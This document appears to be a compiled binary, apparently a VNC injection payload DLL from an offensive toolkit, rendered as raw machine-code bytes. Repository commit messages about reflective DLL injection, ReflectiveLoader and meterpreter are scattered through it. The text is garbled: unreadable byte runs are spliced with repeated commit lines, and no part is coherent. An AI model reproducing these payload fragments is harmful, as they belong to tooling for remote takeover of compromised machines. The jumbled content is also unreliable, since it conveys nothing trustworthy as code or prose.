¶ÀPžÀ¶ÀPWè(÷ÿÿ‹F ‰G‹F�Mð‰GÆEüèêÿÿƒMüÿ�Mìèêÿÿè–ôÂj¸2>èèó‹ñ‹}‹Ïè�þÿÿ�_ ‹Ëè†þÿÿ‹F ‰G‹F‰G�FP‰Eð�EP�Nè²êÿÿ3À9F‰EüžÁ9F ¶ÉžÀQ¶ÀPW�Mè™öÿÿ‹MðjjSèŒöÿÿƒMüÿ�Mè‚éÿÿèôÂU‹ìQQS‹]‹V‹u ŠW3ÿGÓç‰}ø…ÀtPèƒýYWè²ü‰3ÛY‰Eü‰]…ÿŽ’‹}ŠN
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
·V‹ÃÓø·O#¯Á·NÑê™÷ùŠO
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
·WÒàŠN ˆE‹ÃÓø·N#Á¯Â‹ÑÑê™÷ùŠO ·W‹]ÒàŠM
È‹EˆMŠN Óø·N#Á¯Â‹ÑÑê™÷ùŠO ÒàŠM
È‹Eüˆ C;]ø‰]Œqÿÿÿ_^[ÉÃU‹ìQVW�{3ö…ÿ~(‹Ã™+ÂÑø‰Eüë‹Eü™÷û‹MÒà‹Mˆ‹E EüF;÷|ä_^ÉÃU‹ì�ì‹E ŠS3ÛCW‹}‹Óã‰]ü…ÀtPèpüYSèŸûY‰…À„èVjÿ¨R��üûÿÿQ¾VjP‰E ÿ<Pÿu ‰Ejÿ¬R‹Eë1‹È€áöÙɈŒ…üûÿÿ‹È€áöÙɈŒ…ýûÿÿ‹È€áöÙɈŒ…þûÿÿ@;ÆrË‹3ÿ‰E …Ûvr‹u¶„½þûÿÿ·N¯ÁƒÀ™¹ÿ÷ùŠN ‹Ø¶„½ýûÿÿÒã·N¯ÁƒÀ™¹ÿ÷ùŠN Òà·N
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
ض„½üûÿÿ¯ÁƒÀ™¹ÿ÷ùŠN
vncinject payload
2005-12-12 07:07:19 +00:00
Òà
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
Ø‹E ˆ8G;}ür‘^_[ÉÃU‹ì‹E+E ƒ}$‹MV‹u~(SW‹U �<ë
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
‹]ŠˆAF;ÏrïðÿM$ƒ}$Ü_[^]ÃU‹ìQ‹E‹M‰E‹E ·PV‹u�T2·pW‹}+} ƒ}$‰U�T‰M‰U ~hS‹U щUü;ÊsN‹M¶1ŠH ‹ÖÓê·H#ÑŠH
‹ÞÓë·H#Ù‹MŠ
‹M
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
 ŠH Óî·H#ñ‹M
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
‹MˆAÿE‰M;Mür²}ÿM$ƒ}$š[_^ÉÃU‹ì‹E‹U‹MW‹} Ñè+ǃ}$~,ÀS‰EV�49ë·‹]ŠˆABB;ÎrîUÿM$ƒ}$Ý^[_]ÃU‹ìQ‹E‹M‰E‹E ·PV‹u�T2·pW‹}Ñé+M ƒ}$‰U�T‰U~kɉMüS‹M ωM ;ùsI‹M·1ŠH ‹ÖÓê·H#ÑŠH
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
ƒE‹ÞÓë·H#Ù‹MŠ
‹M
 ŠH Óî·H#ñ‹M
ˆG;} r·‹MüMÿM$ƒ}$œ[_^ÉÃU‹ì‹E‹U‹MW‹} Áè+ǃ}$~-ÁàS‰EV�49ë‹‹]ŠˆAƒÂ;ÎrîUÿM$ƒ}$Ý^[_]ÃU‹ìQ‹E‹M‰E‹E ·PV‹u�T2·pÁé+M ƒ}$‰UW‹}�T‰U~kÁá‰MüS‹M ωM ;ùsH‹M‹1ŠH ‹ÖÓê·H#ÑŠH ƒE‹ÞÓë·H#Ù‹MŠ
‹M
vncinject payload
2005-12-12 07:07:19 +00:00
 ŠH
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
Óî·H#ñ‹M
ˆG;} r¸‹MüMÿM$ƒ}$�[_^ÉÃU‹ìQQS‹]‹V‹u ŠW3ÿGÓç‰}ø…ÀtPè‚øY�?Pè®÷ƒe Y‰E‰…ÿŽ«‹}ŠN ·^‹E Óø·O#ïÁ‹ËÑéÁ™÷ûŠO ·W‹Ø‹E ÓãŠN
Óø·N#Á¯Â‹ÑÑê™÷ùŠO
·WÓàŠN Ø‹E Óø·N#Á¯Â‹ÑÑê™÷ùŠO Óà‹M Ø‹E À‰EüÁf‰ŠW:Vt‹Uüf¶L
Áãf Ëf‰ÿE ‹E ;EøŒXÿÿÿ_^[ÉÃU‹ìQV�C3ö…À~@‹Ã™+ÂÑø‰Eüë‹Eü™÷û‹M Óàƒ}� wf‰tf¶TwÁàf Ðf‰‹EEüF�C;ð|Ì^ÉÃU‹ì�ì‹E ŠS‹]‹W3ÿGÓç‰}ü…ÀtPè>÷Y�?PèjöY‰…À„Vjÿ¨R��øûÿÿQ¾VjP‰Eÿ<Pÿu‰Eøjÿ¬R‹Eøë1‹È€áöÙɈŒ…øûÿÿ‹È€áöÙɈŒ…ùûÿÿ‹È€áöÙɈŒ…úûÿÿ@;ÆrË‹3Û‰E…ÿ†™‹u·N¶„�úûÿÿ¯ÁƒÀ™¹ÿ÷ùŠN ‹ø¶„�ùûÿÿÓç·N¯ÁƒÀ™¹ÿ÷ùŠN Óà·N ø¶„�øûÿÿ¯ÁƒÀ™¹ÿ÷ùŠN
Óà ø‹E�Xf‰8ŠV·Ï‹} :Wt‹Uf¶TZÁáf Ñf‰C;]ü‚jÿÿÿ^_[ÉÃU‹ì‹E‹U‹MV‹u +ƃ}$~/öS‰uW‹uñë¶:‹]f‹<{f‰9AAB;ÎrìÐÿM$ƒ}$Ú_[^]ÃU‹ìQ‹E‹M‰E‹E ·PS‹]V‹u�TS·XW‹} ‰U +÷ƒ}$�TZ‰M‰U ~q�?‰U‹UщUü;ÊsS‹MŠH ‹úÓï·H#ùŠH ‹ÚÓë·H#Ù‹M f‹<y‹M f <YŠH
Óê·H#Ñ‹Mf <Q‹Mf‰9AAÿE‰M;Mür­uÿM$ƒ}$•_^[ÉÃU‹ì‹E‹U‹MV‹u Ñè+ƃ}$~1öÀS‰EW�ë·:‹]f‹<{f‰9AABB;ÈrëUÿM$ƒ}$Ú_[^]ÃU‹ìQ‹E‹M‰E‹E ·PS‹]�TS·XV‹uW‹} Ñé‰U +σ}$�TZ‰U~t�?ɉU‰Mü‹MΉM ;ñsN‹M·ŠH ‹úÓï·H#ùŠH ‹ÚÓë·HƒE#Ù‹Mf‹<y‹M f <YŠH
Óê·H#Ñ‹Mf <Qf‰>FF;u r²‹MüMÿM$ƒ}$—_^[ÉÃU‹ì‹E‹U‹MV‹u Áè+ƃ}$~2öÁàS‰EW�ë‹:‹]f‹<{f‰9AAƒÂ;ÈrëUÿM$ƒ}$Ú_[^]ÃU‹ìQ‹E‹M‰E‹E ·PS‹]�TS·XV‹uW‹} Áé‰U +σ}$�TZ‰U~t�?Áá‰U‰Mü‹MΉM ;ñsM‹M‹ŠH ‹úÓï·H#ùŠH ‹ÚÓë·HƒE#Ù‹Mf‹<y‹M f <YŠH
Óê·H#Ñ‹Mf <Qf‰>FF;u r³‹MüMÿM$ƒ}$˜_^[ÉÃU‹ìQQS‹]‹V‹u ŠW3ÿGÓç‰}ø…ÀtPèèòY‹ÇÁàPèòƒe Y‰E‰…ÿŽÅ‹}ŠN ·^‹E Óø·O#ïÁ‹ËÑéÁ™÷ûŠO ·W‹Ø‹E ÓãŠN
Óø·N#Á¯Â‹ÑÑê™÷ùŠO
·WÓàŠN Ø‹E Óø·N#Á¯Â‹ÑÑê™÷ùŠO Óà‹M Áá Ø‹EÁ‰‰EüŠG:Ft,‹Ã‹ÓÁà�âÿ ‹U¶LÁàÁë Á‹Mü�ãÿ ÉÿE ‹E ;EøŒ>ÿÿÿ_^[ÉÃU‹ìQ‹MV�A3ö…À~[‹Á™+ÂW‹øÑÿ‰}ü‹Ç™÷}‹MÓàƒ}� ³‰t(‹Ð‹øÁâ�çÿ ׶|³ÁâÁè ׋}ü%ÿ Љ} ‹EF@;ð‰}ü|³_^ÉÃU‹ì‹E Š�ìS‹]‹W3ÿGÓç…ÀtPèmñY‹ÇÁàPè—ðY‰…À„%Vjÿ¨R��üûÿÿQ¾VjP‰Eÿ<Pÿu‰Eüjÿ¬R‹Eüë1‹È€áöÙɈŒ…üûÿÿ‹È€áöÙɈŒ…ýûÿÿ‹È€áöÙɈŒ…þûÿÿ@;ÆrË‹…ÿ†°‹u�…ýûÿÿ+ÉE‰}üë‹E¶Dÿ·N¯ÁƒÀ™¹ÿ÷ùŠN
‹ø‹E¶DÓç·N¯ÁƒÀ™¹ÿ÷ùŠN Óà‹M  ø·F¯ÁƒÀ™¹ÿ÷ùŠN Óà‹M ø‰;ŠF:At"‹Ï‹×Áá¸ÿ#РʶSÁáÁï Ê#ø ω ƒÃÿMü…cÿÿÿ^_[ÉÃU‹ì‹E‹U‹MV‹u +ƃ}$~/ÁæS‰uW‹uñë¶:‹]‹<»‰9ƒÁB;ÎríÐÿM$ƒ}$Û_[^]ÃU‹ìQ‹E‹M‰E‹E ·PS‹]V‹u�T“·XW‹} ‰U +÷ƒ}$�Tš‰M‰U ~p‹×Áâ‰U‹UщUü;ÊsP‹MŠH ‹úÓï·H#ùŠH ‹ÚÓë·H#Ù‹M ‹<¹‹M <™ŠH
Óê·H#Ñ‹M <‘‹M‰9ƒÁÿE‰M;Mür°uÿM$ƒ}$˜_^[ÉÃU‹ì‹E‹U‹MV‹u Ñè+ƃ}$~1ÁæÀS‰EW�ë·:‹]‹<»‰9ƒÁBB;ÈrìUÿM$ƒ}$Û_[^]ÃU‹ìQ‹E‹M‰E‹E ·PS‹]�T“·XV‹uW‹} Ñé‰U +σ}$�Tš‰U~s‹×ÁâɉU‰Mü‹MΉM ;ñsK‹M·ŠH ‹úÓï·H#ùŠH ƒE‹ÚÓë·H#Ù‹M‹<¹‹M <™ŠH
Óê·H#Ñ‹M <‘‰>ƒÆ;u rµ‹MüMÿM$ƒ}$š_^[ÉÃU‹ì‹E‹U‹MV‹u Áè+ƃ}$~2ÁæÁàS‰EW�ë‹:‹]‹<»‰9ƒÁƒÂ;ÈrìUÿM$ƒ}$Û_[^]ÃU‹ìQ‹E‹M‰E‹E ·PS‹]�T“·XV‹uW‹} Áé‰U +σ}$�Tš‰U~s‹×ÁâÁá‰U‰Mü‹MΉM ;ñsJ‹M‹ŠH ‹úÓï·H#ùŠH ƒE‹ÚÓë·H#Ù‹M‹<¹‹M <™ŠH
Óê·H#Ñ‹M <‘‰>ƒÆ;u r¶‹MüMÿM$ƒ}$›_^[ÉÃU‹ì‹EV¶0Áî¯u ƒ}$~!W‹}VWÿuèží}uƒÄ ÿM$ƒ}$ä_^]ÃU‹ìSVW‹}‹…ÀtPèÚìY‹u ·N·FÁ·N�DPèô뉷^·V‹}�L‰M�L
‰M ¶O
Q·OQPèÁïÿÿ¶G ·^P·GPÿuè«ïÿÿ¶G ·^P·GPÿu è•ïÿÿƒÄ(_^[]ÃU‹ìS‹]‹VW…ÀtPèJìY‹u ·N·FÁ·NÁ�DPèbë‹ø‰;·^·N�D_‰E�DH‹M‰E ŠA3Ò:F¶A
•ÂRP·APè>ôÿÿ‹EŠH·^‹}3Ò:N¶H ·@•ÂRQPèôÿÿ‹EŠH·^‹} 3Ò:N¶H ·@•ÂRQPèôóÿÿƒÄ(_^[]ÃU‹ìSVW‹}‹…ÀtPè�ëY‹u ·N·FÁ·NÁ�… Pè¢ê‰·N·~�Tˆ‰U�Tº‹}‰U ŠW3Û:V¶W
•ÃSR·WRQ‹Øè3ùÿÿŠG‹]3É:F¶G •ÁQP·GP·FPèùÿÿŠG‹] 3É:F¶G •ÁQP·GP·FPèíøÿÿƒÄ4_^[]ÃU‹ìSV‹u W‹}3Û+þÿuè–åY;ØsŠ7ˆëÆCFƒû|âjh<Ûè�Ïÿÿÿu ÿu èUÏÿÿƒÄjX_^[]ÃVj èÃéjh<Û‹ðèaÏÿÿVÿt$è*ÏÿÿƒÄÆF‹Æ^ÃU‹ìQQVWjè×î‹ø‰Uüè7é‹ðiöè*éÆǘóÿ5˜óèüîYY3öèï‹MˆFƒþ|ï_^ÉÃU‹ìƒì¡Dá3ʼnEü‹ESVW‹} ‰Eð‹ß�Eô3ö+ØWèµäY;ðs �D5ôŠ ˆëÆD5ôFƒþ|ß�EôjPè¨Îÿÿ‹uðYYj_VVèlÎÿÿYƒÆOYuñ‹Mü_^3Í[è\ßÉËD$3Ò‰‰P‰P‰P ‹T$V‹1W‹:;÷|‹÷‰0‹q‹z;÷|‹÷‰p‹q‹z;÷‹÷‰p‹I ‹R ;Ê_^‹Ê‰H ‹D$‹QS‹‹@V‹q W‹9‹IðûÈ‹D$‰8_Ó‰p ^‰H‰P[‹Á3ɉH‰‰H$‰H(‰H,ÃV‹ñƒ~t‹…Àt
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
Pèïíƒ&Y‹F$…Àt PèÞíƒf$Yƒf(^÷Q·I ‹D$ƒ ƒ`‰H‰P ‹D$VW�q‹ø¥¥¥¥_^ÂV‹ñ‹N,W�~ Wèk0·¶F¯Á‹N,™ƒâÂÁø‰Fè.03ÿ9F(u 9~…£9~t‹;Çt PèTíY‰>‹F$;Çt
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
PèDíY‰~$‹N,‰~(‹�ø‰;Çt‰~ë1ÇFèÖ/PèªíY‰;Çu3ÀëM‹N,è½/PWÿ6èíƒÄ ‹N,è©/Pè}íY‰F$;ÇtÒ‹N,è“/PWÿv$èéì‹N,ƒÄ è~/‰F(3À@_^ÃU‹ìƒì‹E S‹Ù‹‹@V‹u÷؉EüW�Eø÷ÙP�Eè‰MøP‹ÎèBþÿÿ¶C‹‹N‹}è+Ê‹S¯UìÁè¯È¯ø‰Mü‹K$Ñ‹ú¯È‹V¯SS$ʉM ‹N;Mì},;N ‰M}_ÿuüWÿu èÞì‹CE øƒÄ ÿE‹E;F |Þë;‹F +ÁH¯CE ø‹F ;Á‰E~"ÿuüWÿu è¡ì‹C)E +øƒÄ ÿM‹E;FÞ_^[ÉÂU‹ì‹I,ƒìVW�EðPè·.‹}‹ð¥¥¥¥_^É‹A,‹€ø…Àt 9téÿýÿÿ3À@ÃU‹ì‹Mƒì …Éw3É‹ÁÁàPè§ßYÉÃÈÿ3Ò÷ñƒøsæƒe�EP�Môè¤âh¨‘�EôPÇEôÜSè‡×Ì‹D$‰A,è ýÿÿÂjX¸]>èýÛ‹Ùèuÿÿÿ…À„š‹u ¶K�}¬¥¥3À¥Áé‰M܉Eœ‰E ‰E¤‰E¨¥ƒùs‹E¬ƒùuƒàëƒà)E¬‹u°‹E¬‹S¯Á‹{$¯Ö‹øÐ;u¸‰uäé/‹EäƒÀ ;E¸‰}؉UÔ‰E¼|‹E¸‹u¬‰Eè‹E´;ð�ô‹EÔ‹U´‰E ‹E؉Eð�F ;‰EÀ‰Eà|‰Uà‹}à‹Eä+þ¯ù‰Eì;E胦Wÿuðÿu èjîƒÄ …Àu‹CE EðÿEì‹Eì;EèrÙëz‹Eä‰E ‹Eà‰E¤‰uœ‹uè�EœP�Mĉu¨è²Ôÿÿ‹MƒeüP�EÈPè²Ñÿÿ‹MPÆEüè¯Ôÿÿ�MÈÆEüèÇÐÿÿƒMüÿ�MÄè»Ðÿÿ9uìs+uìWÿu ÿuðèmå‹CE EðƒÄ Nuå‹MÜ‹uÀ}Ø}Ô;u´Œÿÿÿ‹}ЋUÌ‹CÁàøЋE¼;E¸‰Eä‰Ủ}ÐŒÅþÿÿèîÚÂV‹ñèÃýÿÿ…Àtÿv(‹N,ÿ6ÿt$è4^ÂV‹ñè¢ýÿÿ…Àt
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
ÿv(‹N,ÿ6è_4^ÃVjj‹ñè�ýÿÿYY…Àt‰0ë3À‰‹Æ^ÂU‹ìQVQ‰eü‹ñ‰eüèÍÿÿÿ‹Æ^ÉÂV‹ñ‹F …ÀtPèˆÚYƒf ƒfƒf^ÃV‹ñèÙÿÿÿÿ6èjÚY^Ãj¸€>è™Ù‹ñQ‰eð‰eðè›ÿÿÿ3À‰F ‰F‰F‹ÆèÚÃjX¸£>èlÙ‹Ù�Mœè½ÿÿÿ‹M3Àj‰Eü‰EÔ‰E؉E܉Eàj�EœPèIÜÿÿ‹E¬+E¨©ðÿÿÿ„©�EœPÿu¨�Mäè:Óÿÿ‹Eä‰Eì‹Eè‰EðëV�MìèuÐÿÿ‹ð�}Ä¥¥¥¥‹EÈ;Eà~�MÔè¤Îÿÿ„Àu �EÔP‹Ëè—þÿÿ�uÄë�EÔP�E´P�MÄèeùÿÿ‹ð�}Ô¥¥¥�Mì¥èfÐÿÿ�EœPÿu¬�MäèÇÒÿÿ�EäP�Mìè!œ„Àt‹�MÔèHÎÿÿ„Àu �EÔP‹Ëè;þÿÿ�Mœè©þÿÿÿuœè9ÙYèÙÂj(¸Æ>èbØ‹ñ�MÌè³þÿÿ‹M ƒeüjj�EÌPèLÛÿÿ‹EÜ+EØ©ðÿÿÿtW�EÌPÿuØ�MäèAÒÿÿ‹Eä‰Eì‹Eè‰Eðë�Mìè|ÏÿÿPÿu‹Îèþûÿÿ�Mìè¨Ïÿÿ�EÌPÿuÜ�Mäè Òÿÿ�EäP�Mìèc›„ÀtÆ�MÌèþÿÿÿuÌè’ØYèiØ‹D$3Ò‰‰P‰P‰P ‹T$V‹1W‹:;÷‹÷‰0‹q‹z;÷‹÷‰p‹q‹z;÷|‹÷‰p‹I ‹R ;Ê_^|‹Ê‰H ÂV‹ñ‹ND…Ét ;N@t‹jÿ‹N@…Ét
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
‹jÿƒf@‹…Àt
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
Pè؃&Y‹F…Àt Pèñ׃fY^Ãj ¸?èO׋ñ‰uì‹N@3Û;Ët;NDt‹jÿ‰^@‹E+Äj_+Ç„ä+Ç„ÁH„›ƒè …9^Du=jPÇEüèÚY‹È‰MÆEü;Ëtè"rë3ÀƒMüÿ‰FDëƒMüÿ¸k[Ëuì3Û‹FD;Ãt‰F@‹N@‹ÿP·F&‹N@P·F$P�F(Pè[U9^ t‹N@�FPèuU…À„”‹Îè‰
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
èâÖÂjDè“ÙY‹È‰MÇEü;Ët\èÅCëWjpètÙY‹È‰M‰}ü;ËtAèE8ë<jLèYÙY‹È‰MÇEü;Ët"è|VëjDè:ÙY‹È‰M‰]ü;Ëtè«Që3ÀƒMüÿ‰F@;Ã…5ÿÿÿ3Àélÿÿÿ‹Á‹P…Òu3Àë‹H@Vÿt$‹1ÿ0RÿV^ÂVj‹ñèÊÚÿÿƒfÇXT‹Æ^ÃÇXTé>Ûÿÿé%ÛÿÿéUàÿÿéªÛÿÿéháÿÿé{ÜÿÿéèÚÿÿV‹ñÇXTèÛÿÿöD$tVèùÕY‹Æ^ÂV‹ñ‹…ÀtPè!ÚPjÿ6ègäÿ6èG߃Ä^Ãj¸J?èÿÔ‹ñ‹M‰NT‹ÿP$‹È‰MðèA³ÿÿ3Ûj$‰]üè6ØY‰EÆEü;Ãt‹NT‹ÿP$‹MPè(³ÿÿë3Àj$ˆ]ü‰FXèØY‰EÆEü;Ãt‹NT‹ÿP$‹MPèú²ÿÿë3À‹NT3ÿG3Ò‰F\‰~`9Ytˆ]ü”‰Vd9^Xt!;Ãt‹Îè^¿ÿÿ‹MðƒMüÿ踲ÿÿ‹ÇèïÔÂ3ÿëæ‹ATƒxtu‹IXéͲÿÿÃj¸e@è+Ô‹ñ‹NT‹ÿP$‹È‰Eðèp²ÿÿ‹NXƒeüƒf`蜲ÿÿ‹MðƒMüÿè\²ÿÿè•ÔËD$V‹ñ‹NX‰Fdèx²ÿÿ‹N\蘺ÿÿ^ÂU‹ì‹E ‰AX‹E‰AT‹E‰A\‹E‰A`‹E‰Adèø½ÿÿ3À@]ÂU‹ìƒì,¡Dá3ʼnEüVWjj¿ŒT�EÜWP‹ñè¸á‹NTƒÄj �EÜPè ¶…Àu3Àë4‹NTj �EìPÆEøè9¶…Àtæ�EÔP�EØP�EìWPèqý3ÀƒÄƒ}Ø”À‹Mü_3Í^èÓÉÃj<¸m?è…Ó‹ñ‹NX‹�UØRÿ�Ä�EØPè¤òÿÿY‰EÄ3Û‰]ü9^`…™Pèê×Y…À„Š‹NTj�E¼PÇE¼ècµ…À„†�EàPèˆòÿÿY‹NTj�EàPèCµ…Àtj‹NTj�EÈPè{µ…ÀtXÿuÄ�EàPèªòÿÿYY3ÀŠLà:LÈu@ƒørð‰]¸�E¸ë!‹NTj�E¸PÇE¸èð´ëÇE¼�E¼‹NTjPèÙ´…Àu�MÄèýÿÿ3ÀèâÒËNTj�EÃPèµ…ÀtÞ8]Ãu9^du‹NX‹ÿ�Ü‹NXƒø‹s ÿP‹FX‹8‹N\‹ƒÇÿPL‹NX·ÀPÿ‹ðëÿ�܃øvØ‹NX‹ÿP…ÀvÌ3ö�MÄèŒüÿÿ‹Æë„U‹ì�ì¡Dá3ʼnEü�…üþÿÿPÿ�R¶Eö„üþÿÿtV‹5”RjjjÿuÿÖjjjÿuÿÖ^‹Mü3ÍèSÑÉÃj¸«?èTÑ‹ñ‰uð3ÛǤT‰^\‰^X‰^`‰^‰^‰^ ‰^$‰^8�Fx‰‰X�Ž”‰]ü‰X‰X è€ûÿÿ�Ž´ÆEüèÌÆÿÿ�†¸‰‰X‰X‰X 3Àf‰†Žf‰†�‰^h‰^l‰žˆˆž�‰^p‰žÈ‰ž°‰¶¬‰žÌ‰žÐÇFt‹ÆèAÑÃj¸@è•Ð‹ñƒeð‹ÿP$‹È‰MäèÙ®ÿÿƒeü�¾´‹Ïè‘Çÿÿ3ÛC„ÀuZ�Æ”‹‹ÎÿP P�EèP‹ÏèÇÿÿ‹Èˆ]ü‰]ðèdÇÿÿ„Àt0‹‹ÎÿP$P�EìP‹ÏèäÆÿÿ‹ÈÇEüÇEðè8Çÿÿ„Àt‹óë3ööEð‰]üt ƒeðý�MìèÆÿÿƒeü„]ðt�MèèðÅÿÿ‹MäƒMüÿè;®ÿÿ‹ÆèrÐÃ�ÁÌ‹ƒ!ËA`‹@,ƒÀXËD$‰A‹D$‰A ‹D$‰A‹AËAËA ËAÃf‹AÃj¸B@è}Ï‹ñ‰uðǤT‹FlÇEü…Àt Pè•ÙƒflY‹Nh…Ét
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
‹jÿƒfh�Ž´ÆEüèCÅÿÿ�Ž”ÆEüÇXTèòÔÿÿƒMüÿ�Nè¦÷ÿÿè²ÏÃVjj‹ñè.³ÿÿÇU‹Æ^ËIh…Été¯ÃVjj‹ñè ³ÿÿÇU‹Æ^ÃV‹ñ‹WÿP$‹ø‹Ïè ­ÿÿ‹Ï_džˆ^é­ÿÿV‹ñ‹WÿP$‹ø‹Ïèû¬ÿÿ‹Ï_džÈ^éð¬ÿÿj¸e@èƒÎ‹ñ‹3ÿÿP$‹È‰Mðèɬÿÿ‹Ft!}ü…ÀuG@‰Ft…ÿt‹Ž°…ÉtjèWúÿÿ‹MðƒMüÿ衬ÿÿèÚÎÃj¸e@è.΋ñ‹ÿP$‹ø‹Ï‰}ðèt¬ÿÿ‹Ftƒeü…Àu
‹Nhè ®ëH‰Ftu‹Ž°…ÉtjèúùÿÿƒMüÿ‹ÏèE¬ÿÿè~ÎËD$Vÿt$‹ñŠL$ ˆ‹NhPè[°…Àu ‹‹ÎÿP3Àë3À@^ V‹ñWÿt$ �~‹Ïèè÷ÿÿ…Àt ‹?‹NhPWè#°_^ÂU‹ìƒì‹E‹SVW·ò‹úÁÿ‹Þ‰Mü¹ÿ#ùÁã ûf‰}ð‹x·ß‰]Áÿ#ùÁã ûf‹Xf‰}ò‹x+úf+Þ�Q‹òf¯Þ‹p +pf‹@ f+EÁþf¯Â#ñf3ð‹E ‹Áúf‰uöf‹0#ÑfÁæf Ö‹uüf‰U‹Pf‹@Áú#ÑfÁàÁÿ#ù‹Nhf Ðj �Eðf3ûPf‰}ôÇEøf‰U
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
èV¯…Àt‹Nhj�EPèD¯÷ØÀ÷Ø_^[ÉÂU‹ìƒìSW‰Mø3Éj»Z‹Ã÷â�Á÷Ù ÈQèDÜ‹øY‰}ô…ÿu@_[ÉÃV‹uø‹NX…Ét SWèªK…Àu3öFÿuôè�ÛY‹Æ^ëÕ‹Nh3Àf‰Eî@f‰Eðj�EìPÆEìè¾®…Àu3öë̓eü�w¿ÿ¶FÁàÁø#Çf‰EäÁàÁø#Çf‰Eæ¶FÿÁàÁø#Çf‰Eèj�EäP‹Eø‹Hhèj®…Àt¬ÿEüƒÆ9]ür±éjÿÿÿSU‹Ù‹CH‹H,VW�k$Uè¹3À9C u�s(�{¥¥¥ÇC ¥9C@uP‹Ëè]ôÿÿ…Àu3À醷S&‹K@‹R·URÿP‹ð3ÿ9st-‹;Çt PèŠÚY‰;V‰{èÛY‰;Çt¿VWPèˆÚƒÄ ‰s‹CH‹p(9s t0‹C;Çt
PèQÚY‰{V‰{ è×ÚY‰C;Çt„VWPèMÚƒÄ ‰s 3À@_^][ÃV‹ñƒ~@tè"ÿÿÿ·F&‹N@P·F$P�F(Pè¾I^Ã3À^ÃSV‹t$ W‹Ù‹K@ÇC �{¥¥¥¥…Ét ÿt$è¼I‹ËèØþÿÿ÷Ø_À^÷Ø[Âj¸­@èÊ‹ñ‰uðÇU‹~Xƒeü…ÿt‹Ïèì¨ÿÿWèËY‹~\…ÿt‹ÏèרÿÿWè ËYƒMüÿ‹Îè"«ÿÿèÕÊÃV‹ñè¢ÿÿÿöD$tVèâÊY‹Æ^Âj¸Š@è
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
Ê‹ñ‹E‹M ‰Fd‰Nhèý«…ÀtPëh(UèZ¤‰Flf‹EYjhf‰Fè0ÍY‹È‰Mƒeü…Étè±úÿÿë3ÀƒMüÿ‰Fp…Àtÿu‹ÿu‹ÈÿvhÿvdVÿR è:ÊÂj¸A<èŒÉ‹ñƒ¾°u?jhèÔÌY‹È‰Mðƒeü…Étèxúÿÿë3ÀƒMüÿ‰†°…Àt V‹ÈèBôÿÿ…Àu‹‹ÎÿP‹Ž°…ÉtèêôÿÿèÍÉÃj¸e@è!É‹ñ‹ÿP$‹È‰Mðèi§ÿÿ‹†Ðƒeü…ÀtPè3Óƒ¦ÐYÿuè]£Y‹Î‰†ÐèFÿÿÿ‹MðƒMüÿè3§ÿÿèlÉÂV‹ñ‹ÿPP�NèËýÿÿ‹‹Î^ÿ`TVÿt$‹ñè²Îÿÿ‹Nèÿÿÿ^ÂVÿt$ ‹ñÿt$ èRÐÿÿ‹Nèêþÿÿ^Âj¸­@èrÈ‹ñ‰uðÇU‹~\ƒeü…ÿt‹ÏèÌøÿÿWèÉYƒMüÿ‹Îè*©ÿÿèÝÈÃV‹ñè·ÿÿÿöD$tVèêÈY‹Æ^ÂU�ì@�l$ü¡Dá3ʼn…@jp¸ð@èýÇ‹Ùÿ`QPÿ|R‹KTh0u‰EÐèç©‹CX‹0‹K\‹�ÆÿPH‹KXPÿ‹‹ËÿP…À„È‹‹ËÿP‹K\…À‹CX‹0‹„¹�ÆÿPH‹KXPÿ‹KX‹ÿ�DiÀè‹KTPè}©‹C\�M„ƒÀQ‹HHèÆèÿÿ‹{\�Ǹ�u„¥¥¥�EÀP¥�E¾P‰uÀÿP�EÄP�…0PÇEÄÿPPÿ€R�M”QV��QjPÿ„R�…P¾`U3ÿèöËY…Àv(¾„=Pèôˆ„=�…PGèÏËYY;ørØ�…hXUPè¸ñYY…Àt¾LUV�…0P�EPh4U�…h/PèÜðƒÄ�E„P‹C\‹H`èùçÿÿ‹ð‹C\�}¬¥¥¥¥�ˆÀ‹1f‹ fÁáÁþºÿ#òf ñÄf‰u¨‹f‹ÁùfÁà#Êf ÈfÁE°fÁE²fÁE´�…Pf‰MªèË‹ø�…P�çÿèË‹ðÁî�… ÷PÁîèîÊ‹ø�…P�çÿèÚÊ‹KTÁà ÇÁà 